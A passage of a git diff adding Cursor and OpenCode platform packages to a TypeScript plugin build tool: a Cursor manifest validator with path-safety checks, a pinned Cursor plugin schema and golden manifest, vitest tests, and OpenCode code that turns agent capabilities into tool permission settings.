SEMVER_PATTERN } from './manifest.js'; + +/** Cursor 官方 Schema 当前允许的根字段。 */ +const MANIFEST_FIELDS = new Set([ + 'name', 'displayName', 'description', 'version', 'minClientVersions', 'author', 'publisher', 'homepage', + 'repository', 'license', 'logo', 'keywords', 'category', 'tags', 'commands', 'agents', 'skills', 'rules', + 'hooks', 'variables', 'mcpServers', +]); + +/** Cursor Plugin 名称的当前官方规则。 */ +const PLUGIN_NAME_PATTERN = /^[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/u; + +/** JSON 对象的运行时只读索引类型。 */ +type JsonRecord = Record; + +/** + * 判断未知值是否为非数组 JSON 对象。 + * + * @param value 从候选清单解析的未知值。 + * @returns 可以按字段读取时返回 true。 + */ +function isRecord(value: unknown): value is JsonRecord { + return value !== null && typeof value === 'object' && !Array.isArray(value); +} + +/** + * 向 Core 提交 Cursor 候选校验错误。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param code 稳定诊断码。 + * @param message 不包含宿主绝对路径的错误信息。 + * @param fieldPath 可选的清单字段位置。 + */ +function report( + context: PlatformValidateContext, + code: string, + message: string, + fieldPath?: readonly (string | number)[], +): void { + context.reportDiagnostic({ + code, + severity: 'error', + message, + ...(fieldPath === undefined ? {} : { fieldPath }), + }); +} + +/** + * 判断 Manifest 路径是否留在 Plugin 根目录内。 + * + * @param reference Cursor Manifest 中的相对路径或 Glob。 + * @returns 使用 `./` 且没有目录逃逸时返回 true。 + */ +function isSafeReference(reference: string): boolean { + if (!reference.startsWith('./') || reference.includes('\\') || reference.includes('\0')) + return false; + /** 去掉 `./` 和 Glob 后用于路径规范化的静态前缀。 */ + const prefix = reference.slice(2).split(/[*?[\]{}]/u, 1)[0] ?? ''; + /** 规范化后的静态前缀。 */ + const normalized = path.posix.normalize(prefix); + return prefix.length > 0 && normalized !== '..' && !normalized.startsWith('../') && !path.posix.isAbsolute(normalized); +} + +/** + * 判断路径或 Glob 引用是否至少匹配一个已物化 Artifact。 + * + * @param artifacts 当前交付单元的 Artifact 路径集合。 + * @param reference 已通过安全检查的引用。 + * @returns 精确文件或 Glob 静态目录存在时返回 true。 + */ +function referenceExists(artifacts: ReadonlySet, reference: string): boolean { + /** 移除协议前缀并取得第一个 Glob 之前的稳定前缀。 */ + const relative = reference.slice(2); + /** 精确文件引用可直接判断。 */ + if (!/[*?[\]{}]/u.test(relative)) + return artifacts.has(relative) || [...artifacts].some(artifact => artifact.startsWith(`${relative.replace(/\/+$/u, '')}/`)); + /** Glob 引用只允许匹配第一个模式字符之前的静态目录前缀。 */ + const patternIndex = relative.search(/[*?[\]{}]/u); + /** 保留到最后一个完整目录边界,避免把文件名前缀误当目录。 */ + const staticPrefix = relative.slice(0, patternIndex); + /** 实际参与 Artifact 前缀匹配的完整静态目录。 */ + const directory = staticPrefix.slice(0, staticPrefix.lastIndexOf('/') + 1); + return directory.length > 0 && [...artifacts].some(artifact => artifact.startsWith(directory)); +} + +/** + * 校验 Cursor Manifest 路径字段的安全性和存在性。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 Artifact 路径集合。 + * @param field Manifest 字段名。 + * @param value 待验证字段值。 + */ +function validateReference( + context: PlatformValidateContext, + artifacts: ReadonlySet, + field: string, + value: JsonValue, +): void { + if (typeof value !== 'string' || !isSafeReference(value)) { + report(context, 'CURSOR_MANIFEST_REFERENCE_INVALID', `${field} must be a safe Plugin-root path or glob.`, [field]); + } else if (!referenceExists(artifacts, value)) { + report(context, 'CURSOR_MANIFEST_REFERENCE_MISSING', `${field} references no generated Plugin Artifact.`, [field]); + } +} + +/** + * 校验 Cursor 主 Plugin Manifest 与所有资源引用。 + * + * @param context Platform 提供的已物化候选交付单元。 + */ +export async function validateCursorBundle(context: PlatformValidateContext): Promise { + /** 当前候选交付单元的规范 Artifact 路径集合。 */ + const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); + /** 从候选根加载且仍需 Schema 校验的 Manifest。 */ + let manifest: JsonRecord; + try { + /** JSON.parse 返回的未知值必须继续验证对象形态。 */ + const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, PLUGIN_MANIFEST_PATH), 'utf8')); + if (!isRecord(value)) + throw new TypeError('Manifest is not an object.'); + manifest = value; + } catch { + report(context, 'CURSOR_MANIFEST_READ_FAILED', `${PLUGIN_MANIFEST_PATH} must contain a JSON object.`); + return; + } + /** field 表示当前 Manifest 根字段,用于实施官方 additionalProperties: false。 */ + for (const field of Object.keys(manifest)) { + if (!MANIFEST_FIELDS.has(field)) + report(context, 'CURSOR_MANIFEST_FIELD_UNKNOWN', `Unknown Cursor Plugin field "${field}".`, [field]); + } + if (typeof manifest.name !== 'string' || !PLUGIN_NAME_PATTERN.test(manifest.name)) + report(context, 'CURSOR_MANIFEST_NAME_INVALID', 'name must satisfy the official Cursor Plugin name pattern.', ['name']); + if (manifest.version !== undefined && (typeof manifest.version !== 'string' || !SEMVER_PATTERN.test(manifest.version))) + report(context, 'CURSOR_MANIFEST_VERSION_INVALID', 'version must be a semantic version.', ['version']); + /** field 表示当前由 acplugin 始终写入的非空字符串元数据。 */ + for (const field of ['description', 'version'] as const) { + if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) + report(context, 'CURSOR_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); + } + if (manifest.author !== undefined) { + /** author 只允许 name 和 email,明确排除统一元数据的 url。 */ + const author = isRecord(manifest.author) ? manifest.author : undefined; + if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) + report(context, 'CURSOR_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author']); + else if (Object.keys(author).some(field => field !== 'name' && field !== 'email')) + report(context, 'CURSOR_MANIFEST_AUTHOR_FIELD_UNKNOWN', 'author accepts only name and email.', ['author']); + } + /** field 表示当前 acplugin 可能生成的 Component Glob。 */ + for (const field of ['commands', 'skills', 'agents'] as const) { + if (manifest[field] !== undefined) + validateReference(context, artifacts, field, manifest[field]); + } + /** field 表示当前 Extension 贡献的固定配置文件引用。 */ + for (const field of ['hooks', 'mcpServers'] as const) { + if (typeof manifest[field] === 'string') + validateReference(context, artifacts, field, manifest[field]); + else if (manifest[field] !== undefined && !isRecord(manifest[field])) + report(context, 'CURSOR_EXTENSION_REFERENCE_INVALID', `${field} must be a path or inline object.`, [field]); + } +} diff --git a/packages/platforms/cursor/test/golden/.cursor-plugin/plugin.json b/packages/platforms/cursor/test/golden/.cursor-plugin/plugin.json new file mode 100644 index 0000000..1ab350f --- /dev/null +++ b/packages/platforms/cursor/test/golden/.cursor-plugin/plugin.json @@ -0,0 +1,30 @@ +{ + "agents": "./agents/*.md", + "author": { + "email": "maintainers@example.com", + "name": "TokenRoll" + }, + "category": "Developer Tools", + "commands": "./commands/*.md", + "description": "Release workflow tools.", + "displayName": "Release Tools", + "homepage": "https://example.com/release-tools", + "keywords": [ + "release", + "review" + ], + "license": "MIT", + "logo": "./assets/logo.svg", + "minClientVersions": { + "cursor": "1.2.3" + }, + "name": "release-tools", + "publisher": "TokenRoll", + "repository": "https://github.com/TokenRollAI/release-tools", + "skills": "./skills/*/SKILL.md", + "tags": [ + "release", + "automation" + ], + "version": "1.2.3" +} diff --git a/packages/platforms/cursor/test/golden/plugin.schema.json b/packages/platforms/cursor/test/golden/plugin.schema.json new file mode 100644 index 0000000..51d4e3f --- /dev/null +++ b/packages/platforms/cursor/test/golden/plugin.schema.json @@ -0,0 +1,181 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "$id": "https://cursor.com/schemas/cursor-plugin/plugin.json", + "title": "Cursor Plugin Manifest", + "description": "Schema for .cursor-plugin/plugin.json — defines a single Cursor plugin's metadata, components, and configuration.", + "type": "object", + "required": ["name"], + "additionalProperties": false, + "properties": { + "name": { + "type": "string", + "minLength": 1, + "pattern": "^[a-z0-9]([a-z0-9.-]*[a-z0-9])?$", + "description": "Unique plugin identifier in kebab-case (lowercase alphanumeric with hyphens and periods)." + }, + "displayName": { + "type": "string", + "description": "Human-readable display name for the plugin." + }, + "description": { + "type": "string", + "description": "Short description of what the plugin does." + }, + "version": { + "type": "string", + "description": "Semantic version of the plugin (e.g. \"1.2.3\")." + }, + "minClientVersions": { + "$ref": "#/$defs/minClientVersions", + "description": "Minimum client versions required to install the plugin, keyed by client identifier." + }, + "author": { + "$ref": "#/$defs/author", + "description": "The plugin author." + }, + "publisher": { + "type": "string", + "minLength": 1, + "description": "Publisher or organisation name." + }, + "homepage": { + "type": "string", + "format": "uri", + "description": "URL to the plugin's homepage." + }, + "repository": { + "type": "string", + "format": "uri", + "description": "URL to the plugin's source code repository." + }, + "license": { + "type": "string", + "description": "SPDX license identifier (e.g. \"MIT\", \"Apache-2.0\")." + }, + "logo": { + "type": "string", + "description": "Path to a logo image (relative to the plugin root) or an absolute URL." + }, + "keywords": { + "type": "array", + "items": { "type": "string" }, + "description": "Keywords for discovery and search." + }, + "category": { + "type": "string", + "description": "Plugin category for marketplace classification." + }, + "tags": { + "type": "array", + "items": { "type": "string" }, + "description": "Tags for filtering and discovery." + }, + "commands": { + "$ref": "#/$defs/stringOrStringArray", + "description": "Glob pattern(s) or path(s) to command files." + }, + "agents": { + "$ref": "#/$defs/stringOrStringArray", + "description": "Glob pattern(s) or path(s) to agent definition files." + }, + "skills": { + "$ref": "#/$defs/stringOrStringArray", + "description": "Glob pattern(s) or path(s) to skill files." + }, + "rules": { + "$ref": "#/$defs/stringOrStringArray", + "description": "Glob pattern(s) or path(s) to rule files." + }, + "hooks": { + "oneOf": [ + { "type": "string" }, + { "type": "object" } + ], + "description": "Path to a hooks configuration file, or an inline hooks object." + }, + "variables": { + "type": "object", + "required": ["type"], + "properties": { + "type": { + "const": "object" + }, + "properties": { + "type": "object" + }, + "required": { + "type": "array", + "items": { "type": "string" }, + "uniqueItems": true + } + }, + "description": "JSON Schema for user-configured plugin variables." + }, + "mcpServers": { + "$ref": "#/$defs/mcpServers", + "description": "MCP server configuration — a path, an inline config object, or an array of either." + } + }, + "$defs": { + "author": { + "type": "object", + "required": ["name"], + "additionalProperties": false, + "properties": { + "name": { + "type": "string", + "minLength": 1, + "description": "Author name." + }, + "email": { + "type": "string", + "format": "email", + "description": "Author email address." + } + } + }, + "minClientVersions": { + "type": "object", + "minProperties": 1, + "properties": { + "cursor": { + "$ref": "#/$defs/semver", + "description": "Minimum Cursor version required to install the plugin (e.g. \"3.13.0\")." + } + }, + "additionalProperties": { + "$ref": "#/$defs/semver", + "description": "Minimum version required for another client identifier." + } + }, + "semver": { + "type": "string", + "pattern": "^(0|[1-9]\\d*)\\.(0|[1-9]\\d*)\\.(0|[1-9]\\d*)(?:-((?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\\.(?:0|[1-9]\\d*|\\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?$", + "description": "Strict semantic version \"X.Y.Z\" with an optional prerelease suffix." + }, + "stringOrStringArray": { + "oneOf": [ + { "type": "string" }, + { + "type": "array", + "items": { "type": "string" } + } + ] + }, + "mcpServers": { + "oneOf": [ + { "type": "string" }, + { "type": "object" }, + { + "type": "array", + "items": { + "oneOf": [ + { "type": "string" }, + { "type": "object" } + ] + } + } + ] + } + } +} diff --git a/packages/platforms/cursor/test/platform.test.ts b/packages/platforms/cursor/test/platform.test.ts new file mode 100644 index 0000000..53f1c02 --- /dev/null +++ b/packages/platforms/cursor/test/platform.test.ts @@ -0,0 +1,117 @@ +import { createHash } from 'node:crypto'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { executeLifecycle, resolveConfig, type ResolvedConfig } from '@acplugin/core'; +import { cursor } from '../src/index.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** Cursor 官方 Schema 与 Manifest Golden 的固定目录。 */ +const goldenRoot = path.join(import.meta.dirname, 'golden'); + +/** 2026-08-06 核验的 Cursor 官方 Schema 内容摘要。 */ +const CURSOR_SCHEMA_SHA256 = 'a393b758901803fcf5cfe0d77bda8a83e987d32c3377dfce2d9edf445af884ed'; + +/** Cursor 官方 Schema 的固定上游来源。 */ +const CURSOR_SCHEMA_SOURCE = 'https://github.com/cursor/plugins/blob/main/schemas/plugin.schema.json'; + +/** 测试只读取的 Cursor Schema 最小结构。 */ +interface CursorSchemaFixture { + /** 官方 Schema 是否禁止未知根字段。 */ + readonly additionalProperties: boolean; + /** 官方 Manifest 必填字段。 */ + readonly required: readonly string[]; + /** 官方 Manifest 根字段定义。 */ + readonly properties: Readonly>; +} + +/** 创建已登记自动清理的规范工程。 */ +async function createProject(): Promise { + /** 当前用例独占的工程根目录。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-cursor-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\n---\nPrepare release {{arguments}}.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), '---\ndescription: Review code.\nmodel: inherit\ncapabilities:\n - filesystem:read\n - search\n---\nReview code.\n'); + await fs.writeFile(path.join(root, 'public/assets/logo.svg'), '\n'); + return root; +} + +/** 解析仅包含 Cursor Platform 的严格测试配置。 */ +function resolvedConfig(root: string): ResolvedConfig { + /** 使用完整统一元数据和全部 Cursor 平台选项的解析结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'maintainers@example.com' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT', + keywords: ['release', 'review'], + platforms: [cursor({ + publisher: 'TokenRoll', + logo: './assets/logo.svg', + category: 'Developer Tools', + tags: ['release', 'automation'], + minClientVersions: { cursor: '1.2.3' }, + })], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [cursor()] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +/** 用冻结 Schema 的根字段约束校验生成 Manifest。 */ +function expectSchemaCompatible(manifest: Record, schema: CursorSchemaFixture): void { + expect(schema.additionalProperties).toBe(false); + expect(Object.keys(manifest).every(field => Object.hasOwn(schema.properties, field))).toBe(true); + expect(schema.required.every(field => Object.hasOwn(manifest, field))).toBe(true); + /** namePattern 来自固定官方 Schema,而不是复制生产实现的规则。 */ + const namePattern = schema.properties.name?.pattern; + expect(namePattern).toBeTypeOf('string'); + expect(String(manifest.name)).toMatch(new RegExp(namePattern!)); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Cursor Platform', () => { + it('matches the pinned official Schema root contract and the manifest golden', async () => { + /** 包含三类 Component 和 Public 资源的规范工程。 */ + const root = await createProject(); + /** 完成临时校验和事务提交的 Platform 构建结果。 */ + const result = await executeLifecycle({ + config: resolvedConfig(root), + /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + /** Cursor 官方 Schema 的冻结原始字节。 */ + const schemaBytes = await fs.readFile(path.join(goldenRoot, 'plugin.schema.json')); + /** 从冻结 Fixture 解析出的官方 Schema。 */ + const schema = JSON.parse(schemaBytes.toString('utf8')) as CursorSchemaFixture; + /** Cursor 构建产生的规范 Manifest 路径。 */ + const manifestPath = path.join(root, 'dist/cursor/plugin/.cursor-plugin/plugin.json'); + /** 完成 Platform 校验后的 Manifest 对象。 */ + const manifest = JSON.parse(await fs.readFile(manifestPath, 'utf8')) as Record; + + expect(result.success).toBe(true); + expect(createHash('sha256').update(schemaBytes).digest('hex')).toBe(CURSOR_SCHEMA_SHA256); + expect(CURSOR_SCHEMA_SOURCE).toContain('cursor/plugins'); + expectSchemaCompatible(manifest, schema); + expect(await fs.readFile(manifestPath)).toEqual(await fs.readFile(path.join(goldenRoot, '.cursor-plugin/plugin.json'))); + }); + + it('rejects unowned Platform options at the public factory boundary', () => { + expect(() => cursor({ experimental: true } as never)).toThrow('Unknown Cursor Platform option'); + }); +}); diff --git a/packages/platforms/cursor/tsconfig.json b/packages/platforms/cursor/tsconfig.json new file mode 100644 index 0000000..3ae4da2 --- /dev/null +++ b/packages/platforms/cursor/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/platforms/cursor/tsdown.config.ts b/packages/platforms/cursor/tsdown.config.ts new file mode 100644 index 0000000..be214be --- /dev/null +++ b/packages/platforms/cursor/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; + +/** Cursor Platform 使用统一 Node 20 ESM 与声明输出。 */ +export default defineConfig({ + entry: ['./src/index.ts'], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: { generator: 'oxc' }, + clean: true, + sourcemap: false, +}); diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json new file mode 100644 index 0000000..ff68e30 --- /dev/null +++ b/packages/platforms/opencode/package.json @@ -0,0 +1,20 @@ +{ + "name": "@acplugin/platform-opencode", + "version": "0.0.0", + "private": true, + "type": "module", + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "dependencies": { "@acplugin/core": "workspace:*" }, + "devDependencies": { + "@types/node": "catalog:", + "tsdown": "catalog:", + "@typescript/native": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/platforms/opencode/src/components.ts b/packages/platforms/opencode/src/components.ts new file mode 100644 index 0000000..ba2b7b1 --- /dev/null +++ b/packages/platforms/opencode/src/components.ts @@ -0,0 +1,165 @@ +import { + bytesArtifact, + markdownWithFrontmatter, + type AgentCapability, + type ArtifactInput, + type PlatformComponentValidationContext, + type PlatformGenerateContext, +} from '@acplugin/core'; + +/** OpenCode 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ +const COMPONENT_FIELDS = new Set(); + +/** OpenCode Agent 可以通过 tools/permission 控制的稳定工具名称。 */ +const OPENCODE_TOOLS = ['read', 'glob', 'grep', 'edit', 'bash', 'webfetch', 'task'] as const; + +/** + * 校验 OpenCode Component 专属字段,阻止任意 Frontmatter 透传。 + * + * @param context Core 规范化并冻结后的字段校验上下文。 + */ +export function validateOpenCodeComponentFields(context: PlatformComponentValidationContext): void { + for (const field of Object.keys(context.fields)) { + if (!COMPONENT_FIELDS.has(field)) { + context.reportDiagnostic({ + code: 'OPENCODE_COMPONENT_FIELD_UNKNOWN', + severity: 'error', + message: `Unknown OpenCode ${context.component.kind} field "${field}".`, + fieldPath: ['platforms', 'opencode', field], + }); + } + } +} + +/** + * 把规范 Agent 能力映射为 OpenCode 工具开关。 + * + * @param capabilities Agent 声明的规范能力。 + * @returns 每个稳定工具都显式允许或拒绝的确定性对象。 + */ +function openCodeTools(capabilities: readonly AgentCapability[]): Readonly> { + /** 规范能力映射后的允许工具集合。 */ + const allowed = new Set(); + for (const capability of capabilities) { + /** tool 表示当前能力拥有的一个 OpenCode 工具。 */ + for (const tool of ({ + 'filesystem:read': ['read', 'glob', 'grep'], + 'filesystem:write': ['edit'], + 'search': ['glob', 'grep'], + 'shell': ['bash'], + 'network': ['webfetch'], + 'delegate': ['task'], + } satisfies Record)[capability]) + allowed.add(tool); + } + return Object.freeze(Object.fromEntries(OPENCODE_TOOLS.map(tool => [tool, allowed.has(tool)]))); +} + +/** + * 把规范 Agent 能力映射为 OpenCode permission 决策。 + * + * @param tools 已完成能力映射的工具开关。 + * @returns 对具有副作用或外部访问能力的工具给出显式 allow/deny。 + */ +function openCodePermissions(tools: Readonly>): Readonly> { + return Object.freeze({ + edit: tools.edit ? 'allow' : 'deny', + bash: tools.bash ? 'allow' : 'deny', + webfetch: tools.webfetch ? 'allow' : 'deny', + task: tools.task ? 'allow' : 'deny', + }); +} + +/** + * 把规范 Commands、Skills 与 Agents 转换为 OpenCode workspace 资源。 + * + * @param context Platform generateBundle 生命周期上下文。 + * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 + */ +export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { + /** 当前 Platform 累计生成的 Component Artifact。 */ + const artifacts: ArtifactInput[] = []; + for (const command of context.project.commands) { + artifacts.push(bytesArtifact(`.opencode/commands/${command.id}.md`, markdownWithFrontmatter({ + description: command.description, + }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'component', + level: 'native', + reason: 'OpenCode supports workspace Commands and the $ARGUMENTS placeholder.', + }); + if (command.argumentHint !== undefined) { + context.reportCompatibility({ + subject: `command:${command.id}`, + capability: 'argumentHint', + level: 'degraded', + transformation: 'The Command remains callable without argument hint UI.', + reason: 'OpenCode Command metadata has no verified argument hint field.', + }); + } + } + + for (const skill of context.project.skills) { + artifacts.push(bytesArtifact(`.opencode/skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ + name: skill.id, + description: skill.description, + }, skill.body))); + for (const auxiliary of skill.auxiliaryFiles) { + artifacts.push({ + path: `.opencode/skills/${skill.id}/${auxiliary.path}`, + source: { type: 'file', path: auxiliary.sourcePath }, + mode: auxiliary.mode, + }); + } + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'component', + level: 'native', + reason: 'OpenCode supports workspace Agent Skills natively.', + }); + if (!skill.invocation.user || !skill.invocation.model) { + context.reportCompatibility({ + subject: `skill:${skill.id}`, + capability: 'invocation', + level: 'degraded', + transformation: 'The Skill remains available to both users and the model.', + reason: 'OpenCode has no verified independent user/model invocation switches for Skills.', + }); + } + } + + for (const agent of context.project.agents) { + /** 根据规范能力创建精确的工具开关。 */ + const tools = openCodeTools(agent.capabilities); + artifacts.push(bytesArtifact(`.opencode/agents/${agent.id}.md`, markdownWithFrontmatter({ + description: agent.description, + mode: 'subagent', + tools, + permission: openCodePermissions(tools), + }, agent.body))); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'native', + reason: 'OpenCode supports workspace Subagents natively.', + }); + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.capabilities', + level: 'transform', + transformation: 'Canonical capabilities become OpenCode tools and permission fields.', + reason: 'OpenCode can enforce the canonical capability boundary through native configuration.', + }); + if (agent.model !== 'inherit') { + context.reportCompatibility({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'OpenCode chooses its current platform default model.', + reason: 'acplugin does not hard-code a changing OpenCode model ID for abstract model classes.', + }); + } + } + return artifacts; +} diff --git a/packages/platforms/opencode/src/config-document.ts b/packages/platforms/opencode/src/config-document.ts new file mode 100644 index 0000000..e52200e --- /dev/null +++ b/packages/platforms/opencode/src/config-document.ts @@ -0,0 +1,110 @@ +import { + bytesArtifact, + stableJson, + type ArtifactInput, + type DraftDocument, + type JsonObject, + type PlatformPrepareContext, +} from '@acplugin/core'; +import type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; + +/** OpenCode workspace 配置的稳定逻辑 Document ID。 */ +export const WORKSPACE_CONFIG_ID = 'workspace-config'; + +/** OpenCode workspace 配置相对于交付根的固定路径。 */ +export const WORKSPACE_CONFIG_PATH = 'opencode.json'; + +/** OpenCode Platform 写入 Document 时使用的固定 owner。 */ +const PLATFORM_OWNER = 'platform:opencode' as const; + +/** OpenCode 官方 JSON Schema URL。 */ +const OPENCODE_SCHEMA_URL = 'https://opencode.ai/config.json'; + +/** + * 校验 OpenCode Platform 选项并拒绝任意 workspace 配置透传。 + * + * @param options 用户声明的 Platform 选项。 + */ +export function validatePlatformOptions(options: OpenCodePlatformOptions): void { + /** Platform 顶层只允许 strict 和受控 workspace 子对象。 */ + const allowed = new Set(['strict', 'workspace']); + for (const field of Object.keys(options)) { + if (!allowed.has(field)) + throw new TypeError(`Unknown OpenCode Platform option "${field}".`); + } + if (options.strict !== undefined && typeof options.strict !== 'boolean') + throw new TypeError('OpenCode strict must be a boolean.'); + if (options.workspace !== undefined) { + if (options.workspace === null || typeof options.workspace !== 'object' || Array.isArray(options.workspace)) + throw new TypeError('OpenCode workspace must be a plain object.'); + /** workspace 首期只控制是否输出官方 Schema。 */ + for (const field of Object.keys(options.workspace)) { + if (field !== 'schema') + throw new TypeError(`Unknown OpenCode workspace option "${field}".`); + } + if (options.workspace.schema !== undefined && typeof options.workspace.schema !== 'boolean') + throw new TypeError('OpenCode workspace.schema must be a boolean.'); + } +} + +/** + * 报告统一 Plugin 元数据在 workspace 交付中的省略结果。 + * + * @param context Platform prepare 阶段的元数据报告出口。 + */ +function reportMetadata(context: PlatformPrepareContext): void { + /** OpenCode workspace 没有静态 Plugin Manifest,因此不会复制统一元数据。 */ + const fields = ['name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; + /** field 表示当前实际存在或必填的统一元数据。 */ + for (const field of fields) { + if (field === 'name' || field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { + context.reportMetadata({ + field, + disposition: 'omitted', + reason: 'OpenCode delivery is a workspace, not a static Plugin Manifest.', + }); + } + } +} + +/** + * 创建按需序列化的 OpenCode workspace 配置 Document。 + * + * @param context Platform prepare 生命周期上下文。 + * @returns 只向 MCP Extension 开放 mcp 根字段的受控 Document。 + */ +export function createWorkspaceDocument(context: PlatformPrepareContext): DraftDocument { + reportMetadata(context); + /** 工厂选项中已由边界校验的 workspace 配置。 */ + const options = context.options.workspace as OpenCodeWorkspaceOptions | undefined; + /** 默认空对象在没有 Extension patch 时不会物化为 opencode.json。 */ + const value: JsonObject = options?.schema === true ? { $schema: OPENCODE_SCHEMA_URL } : {}; + return { + id: WORKSPACE_CONFIG_ID, + path: WORKSPACE_CONFIG_PATH, + format: 'json', + owner: PLATFORM_OWNER, + value, + emission: 'omit-if-empty', + extensionPoints: [['mcp']], + }; +} + +/** + * 按需序列化完成 Adapter patch 的 OpenCode workspace 配置。 + * + * @param documents 当前 Platform Draft 的完整 Document 列表。 + * @returns 空配置不产生文件,其余情况返回固定 opencode.json Artifact。 + */ +export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { + /** 按逻辑 ID 查找唯一 workspace 配置。 */ + const config = documents.find(document => document.id === WORKSPACE_CONFIG_ID); + if (!config || config.path !== WORKSPACE_CONFIG_PATH || config.format !== 'json') + throw new Error('OpenCode Platform Draft is missing its canonical workspace config Document.'); + if (documents.length !== 1) + throw new Error('OpenCode Platform received an unknown Document.'); + /** 空对象代表没有平台或 Extension 配置,不覆盖消费 workspace 的通用配置。 */ + if (Object.keys(config.value as JsonObject).length === 0) + return []; + return [bytesArtifact(WORKSPACE_CONFIG_PATH, stableJson(config.value))]; +} diff --git a/packages/platforms/opencode/src/index.ts b/packages/platforms/opencode/src/index.ts new file mode 100644 index 0000000..6d973d4 --- /dev/null +++ b/packages/platforms/opencode/src/index.ts @@ -0,0 +1,47 @@ +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { generateComponentArtifacts, validateOpenCodeComponentFields } from './components.js'; +import { createWorkspaceDocument, serializeDocuments, validatePlatformOptions } from './config-document.js'; +import type { OpenCodePlatformOptions } from './types.js'; +import { validateOpenCodeBundle } from './validator.js'; + +export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; + +/** OpenCode Platform 的稳定开放 ID。 */ +export const PLATFORM_ID = 'opencode' as const; +/** OpenCode Platform 实现的 Core API 版本。 */ +export const PLATFORM_API_VERSION = '1' as const; + +/** + * 创建独立且可由 Core 品牌校验的 OpenCode Platform。 + * + * @param options 严格度覆盖和 workspace 配置选项。 + * @returns OpenCode workspace 交付实现。 + */ +export function openCode(options: OpenCodePlatformOptions = {}): AcpluginPlatform { + validatePlatformOptions(options); + /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + const { strict, ...platformOptions } = options; + return definePlatform({ + id: PLATFORM_ID, + apiVersion: PLATFORM_API_VERSION, + deliveryType: 'workspace', + ...(strict === undefined ? {} : { strict }), + options: platformOptions as unknown as JsonObject, + validateComponentFields: validateOpenCodeComponentFields, + /** prepare 创建可由 MCP Adapter add-only patch 的 workspace Document。 */ + prepare: context => ({ documents: [createWorkspaceDocument(context)], artifacts: [] }), + /** generateBundle 生成资源,并仅在有配置时物化 opencode.json。 */ + generateBundle: context => ({ + id: 'workspace', + role: 'primary', + type: 'workspace', + artifacts: [ + ...context.artifacts, + ...generateComponentArtifacts(context), + ...serializeDocuments(context.documents), + ], + }), + /** 最终候选不得伪造 Plugin Manifest 或覆盖通用 package.json。 */ + validateBundle: validateOpenCodeBundle, + }); +} diff --git a/packages/platforms/opencode/src/types.ts b/packages/platforms/opencode/src/types.ts new file mode 100644 index 0000000..a7bef83 --- /dev/null +++ b/packages/platforms/opencode/src/types.ts @@ -0,0 +1,13 @@ +/** OpenCode workspace 根配置的受控选项。 */ +export interface OpenCodeWorkspaceOptions { + /** 是否在按需生成的 opencode.json 中写入官方 JSON Schema URL。 */ + readonly schema?: boolean; +} + +/** 创建 OpenCode 